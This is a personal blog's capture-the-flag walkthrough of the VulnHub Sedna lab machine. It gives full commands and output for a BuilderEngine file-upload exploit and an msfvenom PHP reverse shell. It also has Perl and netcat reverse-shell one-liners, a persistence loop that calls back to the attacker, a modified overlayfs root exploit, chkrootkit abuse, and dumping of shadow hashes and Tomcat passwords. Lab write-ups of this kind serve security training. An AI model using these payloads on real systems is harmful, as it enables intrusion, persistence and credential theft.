seekorswim My Security Blog

hackfest2016 : Sedna

VulnHub URL: https://www.vulnhub.com/entry/hackfest2016-sedna,181/
Hostname: sedna
IP Address: 10.183.0.185


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.185.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/hackfest2016/sedna# nmap -Pn -sT -sV -A -p 1-65535 -oA sedna 10.183.0.185
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-15 13:55 EDT
Nmap scan report for Sedna.homenet.dom (10.183.0.185)
Host is up (0.0049s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aa:c3:9e:80:b4:81:15:dd:60:d5:08:ba:3f:e0:af:08 (DSA)
|   2048 41:7f:c2:5d:d5:3a:68:e4:c5:d9:cc:60:06:76:93:a5 (RSA)
|   256 ef:2d:65:85:f8:3a:85:c2:33:0b:7d:f9:c8:92:22:03 (ECDSA)
|_  256 ca:36:3c:32:e6:24:f9:b7:b4:d4:1d:fc:c0:da:10:96 (ED25519)
53/tcp    open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp    open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)  
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3        Dovecot pop3d
|_pop3-capabilities: SASL STLS UIDL PIPELINING CAPA RESP-CODES TOP AUTH-RESP-CODE
|_ssl-date: TLS randomness does not represent time
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          44953/udp  status
|_  100024  1          60597/tcp  status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: listed SASL-IR IDLE OK post-login ENABLE capabilities Pre-login have LITERAL+ ID more LOGINDISABLEDA0001 LOGIN-REFERRALS STARTTLS
IMAP4rev1
|_ssl-date: TLS randomness does not represent time
445/tcp   open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp   open  ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
60597/tcp open  status      1 (RPC #100024)  
MAC Address: 08:00:27:1D:C3:C2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: SEDNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Unix (Samba 4.1.6-Ubuntu)
|   Computer name: sedna
|   NetBIOS computer name: SEDNA\x00
|   Domain name: homenet.dom
|   FQDN: sedna.homenet.dom
|_  System time: 2019-04-15T13:55:59-04:00   
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-04-15 13:55:59
|_  start_date: N/A


TRACEROUTE
HOP RTT     ADDRESS
1   4.94 ms Sedna.homenet.dom (10.183.0.185)


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.94 seconds


Gaining Access


Used nikto to scan the HTTP service on port 80.

root@kali:~/Walkthroughs/hackfest2016/sedna# nikto -h http://10.183.0.185
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.185
+ Target Hostname:    10.183.0.185
+ Target Port:        80
+ Start Time:         2019-04-15 14:22:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 65, size: 53fb059bb5bc8, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3092: /system/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 7917 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2019-04-15 14:26:25 (GMT-4) (249 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


Browsed through the /files directory, but it only contains images (and some access denied).

The license.txt file at http://10.183.0.185/license.txt looks like it is for BuilderEngine.



Searching the exploit database, there appears to be a known exploit that allows unauthenticated users to upload files.

BuilderEngine 3.5.0 - Arbitrary File Upload                                                                  | exploits/php/webapps/40390.php

I checked the URL in the exploit to confirm the path was accessible on the server. It was, so I modified the exploit to post to the victim (and changed the extension to .html).

root@kali:~/Walkthroughs/hackfest2016/sedna# diff 40390.php 40390.html
22c22
< <form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
---
> <form method="post" action="http://10.183.0.185/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">

I used msfvenom to create my PHP reverse shell payload.

root@kali:~/Walkthroughs/hackfest2016/sedna# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3053 bytes

I used the exploit form to upload the payload...



...which returned a JSON object with the uploaded file's path.

{
    "files": [
    {
        "name": "rev.php",
        "size": 3053,
        "type": "text\/php",
        "url": "http:\/\/10.183.0.185\/files\/rev.php",
        "deleteUrl": "http:\/\/10.183.0.185\/themes\/dashboard\/assets\/plugins\/jquery-file-upload\/server\/php\/?file=rev.php",
        "deleteType": "DELETE"
    }]
}

I started a handler in Metasploit to catch the PHP reverse shell.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432

Then I used curl to request the PHP reverse shell.

root@kali:~/Walkthroughs/hackfest2016/sedna# curl http://10.183.0.185/files/rev.php

And our session was created...

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.185:40883) at 2019-04-15 15:26:47 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...


pwd
/var/www/html/files
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I found the first flag in the /var/www directory.

cd /var/www
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289

Since the PHP shell only stays up for a limited time, I created another listener in Metasploit and started a reverse shell from the victim using Perl.

msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433

perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Maintaining Access


Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.

grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

The home directory exists, but only allows writes by root.

drwxr-xr-x  3 root root   4096 Oct 22  2016 www

The default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.

I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.

root@kali:~/Walkthroughs/hackfest2016/sedna# cat loading
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done

I uploaded the script to the victim's /var/www/html/files directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

www-data@Sedna:/var/www/html/files$ wget -O loading 10.183.0.222:4321/loading
wget -O loading 10.183.0.222:4321/loading
--2019-04-16 10:28:00--  http://10.183.0.222:4321/loading
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 311 [application/octet-stream]
Saving to: 'loading'


100%[======================================>] 311         --.-K/s   in 0s      


2019-04-16 10:28:00 (76.0 MB/s) - 'loading' saved [311/311]


www-data@Sedna:/var/www/html/files$ chmod +x loading
chmod +x loading
www-data@Sedna:/var/www/html/files$ ./loading &
./loading &
[1] 23635


Privilege Escalation


The /etc/issue.net file shows the operating system to be Ubuntu 14.04.1 LTS. The /boot directory shows a kernel version of 3.13.0-32 (confirmed with uname -r). This was also confirmed in the /etc/os-release file.

Searching the exploit database, a couple of exploits have potential.

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation         | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access | exploits/linux/local/37293.txt

I started a python web service and transferred the 37292.c file to the victim.

root@kali:~/Walkthroughs/hackfest2016/sedna# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.185 - - [15/Apr/2019 16:27:14] "GET /37292.c HTTP/1.1" 200 -

www-data@Sedna:/tmp$ wget -O 37292.c 10.183.0.222:4321/37292.c
wget -O 37292.c 10.183.0.222:4321/37292.c
--2019-04-15 16:27:15--  http://10.183.0.222:4321/37292.c
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'


100%[======================================>] 5,119       --.-K/s   in 0s


2019-04-15 16:27:15 (726 MB/s) - '37292.c' saved [5119/5119]

The file successfully compiled and seemed to run properly, but it didn't give me root. Turns out, the 'su' command (the last command in the exploit) is not available on the victim.

www-data@Sedna:/tmp$ gcc -o pwn 37292.c
www-data@Sedna:/tmp$ ./pwn
spawning threads
mount #1
mount #2
child threads done   
/etc/ld.so.preload created
creating shared library

www-data@Sedna:/tmp$ su -
The program 'su' is currently not installed. To run 'su' please ask your administrator to install the package 'login'

I opened the exploit C code and replaced references to 'su' with 'sudo' (which is available and is also suid).

root@kali:~/Walkthroughs/hackfest2016/sedna# diff 37292.c 37292-1.c
54c54
< #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
---
> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/usr/bin/sudo\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
151,152c151,152
<     execl("/bin/su","su",NULL);
< }
\ No newline at end of file
---
>     execl("/usr/bin/sudo","sudo",NULL);
> }

I transferred the updated exploit to the victim and recompiled. This time, it worked! :]

www-data@Sedna:/tmp$ gcc -o pwn2 37292-1.c
www-data@Sedna:/tmp$ ./pwn2
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

And the flag from /root...

root@Sedna:/root# cat flag.txt
a10828bee17db751de4b936614558305

Pivoting

N/A


Clean Up


*** REMOVE PUBLIC KEY FROM /root/.ssh/authorized_keys ***
*** REMOVE /var/www/html/files/rev.php ***
*** KILL /var/www/html/files/loading ***
*** REMOVE /var/www/html/files/loading ***
*** REMOVE update, ofs-lib.so, pwn, 37292.c, pwn2, and 37292-1.c from /tmp ***



Additional Info


chkrootkit

In addition to the privilege escalation issue we found in Ubuntu, there is a known issue with the version of 'chkrootkit' located in /etc/chkrootkit.

www-data@Sedna:/etc/chkrootkit$ ./chkrootkit -V
chkrootkit version 0.49

Chkrootkit 0.49 - Local Privilege Escalation                                                                 | exploits/linux/local/33899.txt

The write-up in the Exploit Database states that chkrootkit has to be run by root to launch the exploit (typically through a cron job). Let's see if chkrootkit is set up to run in cron...

www-data@Sedna:/etc$ grep -ri 'chkrootkit' cron*
www-data@Sedna:/etc$

Nothing. 😞 It is possible a cronjob is set up in root's crontab, but we can't know for sure. Doesn't hurt to try it...

Started my reverse shell listener in Metasploit.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5434
LPORT => 5434
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5434

Created 'update' file with the following.

root@kali:~/Walkthroughs/hackfest2016/sedna# cat update
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5434 >/tmp/f

Transferred the update file to /tmp on the victim using python SimpleHTTPServer and wget.

www-data@Sedna:/tmp$ wget -O update 10.183.0.222:4321/update
wget -O update 10.183.0.222:4321/update
--2019-04-15 19:48:34--  http://10.183.0.222:4321/update
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 90 [application/octet-stream]
Saving to: 'update'


100%[======================================>] 90          --.-K/s   in 0s      


2019-04-15 19:48:34 (23.8 MB/s) - 'update' saved [90/90]

IMPORTANT: We need to set our 'update' file as executable to get it to run when chkrootkit does, obviously.

www-data@Sedna:/tmp$ chmod +x update

Now we wait... but not for long...

www-data@Sedna:/tmp$ [*] Command shell session 7 opened (10.183.0.222:5434 -> 10.183.0.185:40341) at 2019-04-15 19:55:02 -0400

www-data@Sedna:/tmp$ sessions 7

[*] Backgrounding session 3...
[*] Starting interaction with 7...

# id
uid=0(root) gid=0(root) groups=0(root)

Turns out root did have 'chkrootkit' set up to run in his crontab every 5 minutes. :] I guess if you are going to run a vulnerable piece of software, you should at least run it often.

# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/5 * * * * /root/chkrootkit/chkrootkit


crackmeforpoints

Found an additional "flag" in the /etc/passwd file...

root@Sedna:~# cat /etc/passwd
[...]
crackmeforpoints:x:1000:1000::/home/crackmeforpoints:
[...]

The hash for the account is...

root@Sedna:~# cat /etc/shadow
[...]
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::
[...]

I copied the passwd and shadow files to my attacking machine using scp and ran unshadow. I also ran john with a big dictionary, but was not able to crack the password. ¯\_(ツ)_/¯

root@kali:~/Walkthroughs/hackfest2016/sedna# scp -i sedna root@10.183.0.185:/etc/passwd .
passwd                                                                                                              100% 1962   587.1KB/s   00:00
root@kali:~/Walkthroughs/hackfest2016/sedna# scp -i sedna root@10.183.0.185:/etc/shadow .
shadow                                                                                                              100% 1235   401.1KB/s   00:00
root@kali:~/Walkthroughs/hackfest2016/sedna# unshadow ./passwd ./shadow > crackme


tomcat-users.xml

Once we had root we were able to browse through protected configuration files in /etc including the tomcat-users.xml file in /etc/tomcat7. The credentials in this file could be used on the Tomcat service listening on TCP port 8080.

root@Sedna:/etc/tomcat7# cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at


      http://www.apache.org/licenses/LICENSE-2.0


  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users>
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.
-->
<!--
  NOTE:  The sample user and role entries below are wrapped in a comment
  and thus are ignored when reading this file. Do not forget to remove
  <!.. ..> that surrounds them.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="tomcat" roles="tomcat"/>
  <user username="both" password="tomcat" roles="tomcat,role1"/>
  <user username="role1" password="tomcat" roles="role1"/>
-->
<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>